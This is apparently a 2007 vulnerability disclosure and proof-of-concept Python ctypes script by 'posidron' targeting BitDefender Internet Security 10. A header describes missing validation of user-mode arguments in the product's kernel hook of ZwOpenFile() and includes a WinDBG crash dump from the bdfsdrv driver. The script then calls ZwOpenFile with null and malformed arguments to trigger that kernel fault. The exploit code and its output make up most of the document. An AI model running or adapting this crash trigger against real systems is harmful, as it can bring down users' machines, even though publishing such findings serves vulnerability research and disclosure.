"""
[05.06.2007]
BitDefender Internet Security 10 - ZwOpenFile() Vulnerability
------------------------------------------------------------------------------

    Version: 10 Build 247

    Description:
        BitDefeneder fails to validate user mode arguments which are passed
        to the hooked function ZwOpenFile() which is executing in kernel mode.

    Author: posidron
    
    Download: http://www.bitdefender.de

    Reference: http://msdn2.microsoft.com/en-us/library/ms804352.aspx
    
    System: Windows XP Kernel Version 2600 (Service Pack 2)

-[WinDBG]---------------------------------------------------------------------

EXCEPTION_CODE: (NTSTATUS) 0xc0000005

FAULTING_IP: 
bdfsdrv+1f50
a9f33f50 ff7608          push    dword ptr [esi+8]

TRAP_FRAME:  a9aeccbc -- (.trap 0xffffffffa9aeccbc)
ErrCode = 00000000
eax=c0000005 ebx=a9f33f1f ecx=8056a4fb edx=52850002 esi=00000018 edi=c0000005
eip=a9f33f50 esp=a9aecd30 ebp=a9aecd44 iopl=0         nv up ei pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010246
bdfsdrv+0x1f50:
a9f33f50 ff7608          push    dword ptr [esi+8]    ds:0023:00000020=????????

STACK_TEXT:  
WARNING: Stack unwind information not available. Following frames may be wrong.
a9aecd44 8053ca28 00000000 00000000 00000018 bdfsdrv+0x1f50
a9aecd64 7c91eb94 badb0d00 0022fae4 aa14cd98 nt+0x65a28
a9aecd68 badb0d00 0022fae4 aa14cd98 aa14cdcc 0x7c91eb94
a9aecd6c 0022fae4 aa14cd98 aa14cdcc 00000000 0xbadb0d00
a9aecd70 aa14cd98 aa14cdcc 00000000 00000000 0x22fae4
a9aecd74 aa14cdcc 00000000 00000000 00000000 0xaa14cd98
a9aecd78 00000000 00000000 00000000 00000000 0xaa14cdcc

------------------------------------------------------------------------------
"""

from ctypes import *

class _OBJECT_ATTRIBUTES(Structure):
    _fields_ = [("Length", c_ulong),
                ("RootDirectory", c_int),
                ("ObjectName", c_wchar_p),
                ("Attributes", c_ulong),
                ("SecurityDescriptor", c_void_p),
                ("SecurityQualityOfService", c_void_p)
                ]


def InitializeObjectAttributes(ObjectAttributes,
                               ObjectName,
                               Attributes,
                               RootDirectory,
                               SecurityDescriptor):
    ObjectAttributes.Length                     = sizeof(_OBJECT_ATTRIBUTES)
    ObjectAttributes.RootDirectory              = RootDirectory
    ObjectAttributes.Attributes                 = Attributes
    ObjectAttributes.ObjectName                 = ObjectName
    ObjectAttributes.SecurityDescriptor         = SecurityDescriptor
    ObjectAttributes.SecurityQualityOfService   = None


class Logger(object):
    def __init__(self, logname):
        self.logname = logname

    def __call__(self, message):
        print message
        open(self.logname, "a").write(message)


if __name__ == "__main__":
    log = Logger("bitdefender.txt")
    
    NTDLL = windll.LoadLibrary("ntdll")

    """
    ZwCreateKey(
        OUT PHANDLE  KeyHandle,
        IN ACCESS_MASK  DesiredAccess,
        IN POBJECT_ATTRIBUTES  ObjectAttributes,
        IN ULONG  TitleIndex,
        IN PUNICODE_STRING  Class  OPTIONAL,
        IN ULONG  CreateOptions,
        OUT PULONG  Disposition  OPTIONAL
    );
    """
    
    log("ZwOpenFile():")
    ObjectAttributes = _OBJECT_ATTRIBUTES()
    InitializeObjectAttributes(ObjectAttributes, None, 0, 0, None)
    NTDLL.ZwOpenFile(c_int(), None, ObjectAttributes, None, None, None)
    log("Passed.\n")